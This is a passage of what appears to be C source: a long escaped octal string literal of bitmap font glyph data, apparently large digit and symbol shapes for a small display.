\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\377\\377\\77\\37\\7\\3\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\377\\77\\37\\7\\1\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0|\\177\\177\\177\\177\\177\\177\\177~~~~~~~~~~\\377\\377\\377\\377\\377\\377\\377~~~\"\n  \"~~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\370\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\36\\37\\77\\77\\177\\77\\37\\17\\7\\7\\7\\3\\3\\3\\3\\7\\7\\17\\37\\77\\377\\377\\377\\377\\376\"\n  \"\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\10\\30<~\\377\\377\\377\\376\\370\\370\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\377\\177\"\n  \"\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\377\\377\\177\\77\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\177\\377\\177>\"\n  \"\\36\\14\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\77\\203\\301\\300\\340\\340\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\77\\37\\37\\17\\17\\7\\7\\7\\7\\7\\17\\37\\77\\377\\377\\377\\377\\376\"\n  \"\\370\\360\\200\\0\\0\\0\\77\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\1\\17\\37\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\360\\370\\374\\377\\377\\377\\377\\177\"\n  \"\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\217\\377\\377\\377\\377\\377\\377\\177\\37\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\177\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\377\\377\\77\\17\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\377\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\377\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\7\\7\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\37\\37\\37\\77\\377\\377\\377\\376\\376\\374\\360\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\360\\300\\200\\200\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\77\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\200\\300\\341\\363\\367\\377\\377\\377\\177\\77\\77>>~\\177\\377\\377\\377\\377\\367\\343\\341\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\374\\377\\377\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\377\\377\"\n  \"\\376\\370\\0\\0\\0\\7\\37\\77\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\376\\377\\377\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\377\\377\\177\\77\\37\\37\\17\\17\\17\\37\\37\\77\\177\\377\\377\\376\\374\\370\\360\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\\377\\377\\377\"\n  \"\\377\\370\\0\\0\\0\\0\\1\\17\\77\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\361\\377\\377\\377\\377\\377\"\n  \"\\377\\17\\0\\0\\0\\0\\0\\340\\360\\370\\374\\374\\374\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\177\\77\\17\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\340\\340\\340\\340\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\77\\177\\177\\177\\177\\77\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\37\\77\\77\\77\\77\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\37\\77\\77\\77\\77\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\370\\370\\370\\370\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\17\\377\\377\\377\\377\\377\\377\\177\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<>\\177\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\370\"\n  \"\\370\\374\\374\\376\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\370\\370\\374\\374\\376\\376\\177\\177\\77\\77\\37\\37\\17\\17\\7\\7\\3\"\n  \"\\3\\1\\1\\0~\\177\\377\\377\\377\\377\\377\\377\\367\\347\\343\\303\\201\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\17\\37\\37\\77\\77\\177\\177\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\17\\17\\37\\77\\77\"\n  \"\\177\\177\\377\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\"\n  \"\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n  \"~~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\1\\3\\3\\3\\7\\7\\17\\17\\37\\37\\77\\77\\177\\177\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\\300\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\201\\201\\303\\303\\347\\347\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\177~\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\370\\370\\374\\376\\376\\377\\177\\177\\77\\37\\37\\17\\17\\7\\7\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\377\\377\\177\\77\\77\\37\\37\\17\\17\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\300\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\30<~\\377\\377\\377\\177\\77\\37\\17\\7\\7\\7\\3\\3\\3\\7\\7\\17\\37\\77\\377\\377\\377\\377\\376\\370\"\n  \"\\340\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\377\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\377\\377\\177\\77\\37\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\37\\37\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\17\\37\\37\\37\\77\\77\\177\\377\\376\\374\"\n  \"\\370\\340\\300\\0\\370\\377\\377\\377\\377\\177\\17\\3\\1\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\375\\377\\377\"\n  \"\\377\\377\\377\\374\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\377\\217\\3\\1\\1\\0\\0\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\377\\377\\377\\77\\377\\377\\377\\377\\376\\340\\200\\0\\0\\1\\7\\37\\77\\77\\177\\177\\376\\376\\376\\374\\374\\376~\\177\\77\\177\\177\"\n  \"\\177\\177\\177\\177\\0\\1\\3\\17\\37\\77\\177\\377\\377\\376\\374\\370\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\370\"\n  \"\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\177\\17\\37\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\7\\37\\377\\377\\377\\377\\376\\370\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\\377\\177\\177~~~~~~~~~~\\177\\177\\377\\377\\377\\377\\376\\370\"\n  \"\\300\\0\\0\\0\\374\\377\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\"\n  \"\\377\\377\\370\\340\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\377\\376\\376\\374\"\n  \"\\360\\300\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\340\\360\\377\\377\\377\\377\\377\"\n  \"\\177\\37\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\177\\177\\177\\377\\377\\377\\377\\363\\341\\340\"\n  \"\\200\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\377\\377\\377\\377\"\n  \"\\377\\377\\374\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\360\\370\\374\\377\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\374\\374\\376\\377\\377\\177\\77\\77\\37\\37\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\376\\376\"\n  \"\\374\\370\\360\\300\\300\\370\\377\\377\\377\\377\\377\\377\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\"\n  \"\\7\\3\\3\\1\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\177\\377\\377\\377\\377\\377\\376\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\370\\370\\374\\377\\377\"\n  \"\\377~\\34\\14\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\340\\200\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\177\\377\\377\\377\"\n  \"\\377\\377\\374\\340\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\374\\377\\377\\377\"\n  \"\\377\\377\\177\\7\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\360\\360\\360\\370\\370\\374\\376\\377\\377\\377\\177\\77\\17\"\n  \"\\7\\1\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  